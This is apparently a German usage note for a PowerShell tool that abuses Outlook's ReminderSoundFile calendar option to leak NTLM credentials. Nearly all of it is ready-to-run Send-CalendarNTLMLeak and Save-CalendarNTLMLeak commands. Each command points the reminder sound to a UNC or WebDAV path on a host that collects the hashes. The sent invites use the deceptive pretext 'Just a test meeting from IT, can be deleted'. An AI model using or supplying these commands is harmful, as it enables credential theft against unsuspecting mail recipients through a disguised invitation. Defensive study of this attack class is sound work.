
Skriptfunktionen zum Senden oder Speichern von Kalender-NTLM-Leckagen mithilfe der Option ReminderSoundFile.
Führen Sie das Skript aus, um die Funktionen in Powershell zu laden. Anschließend können Sie die folgenden Beispiele als Ausgangspunkt für die Verwendung der Funktionen verwenden.
Erfordert die Ausführung auf einem Windows-Rechner mit installiertem Outlook, da es das Outlook-COM-Objekt zum Senden von E-Mails verwendet.
Beachten Sie, dass die E-Mail von dem mit Outlook verknüpften E-Mail-Konto gesendet wird. Die aktuellen Funktionen fügen die Besprechungsstartzeit zum Zeitpunkt der Skriptausführung hinzu und setzen die Dauer auf 2 Stunden.
Senden:
Send-CalendarNTLMLeak -recipient "[email protected]" -remotefilepath "\\10.10.10.10\notexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"
Send-CalendarNTLMLeak -recipient "[email protected]" -remotefilepath "\\files.domain.com\notexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"
Send-CalendarNTLMLeak -recipient "[email protected]" -remotefilepath "\\files.domain.com@80\notexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"
Send-CalendarNTLMLeak -recipient "[email protected]" -remotefilepath "\\files.domain.com@SSL@443\notexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"
Speichern:
Save-CalendarNTLMLeak -remotefilepath "\\10.10.10.10\notexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"
Save-CalendarNTLMLeak -remotefilepath "\\files.domain.com\notexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"
Save-CalendarNTLMLeak -remotefilepath "\\files.domain.com@80\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"
Save-CalendarNTLMLeak -remotefilepath "\\files.domain.com@SSL@443\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"
Hackt den Planeten!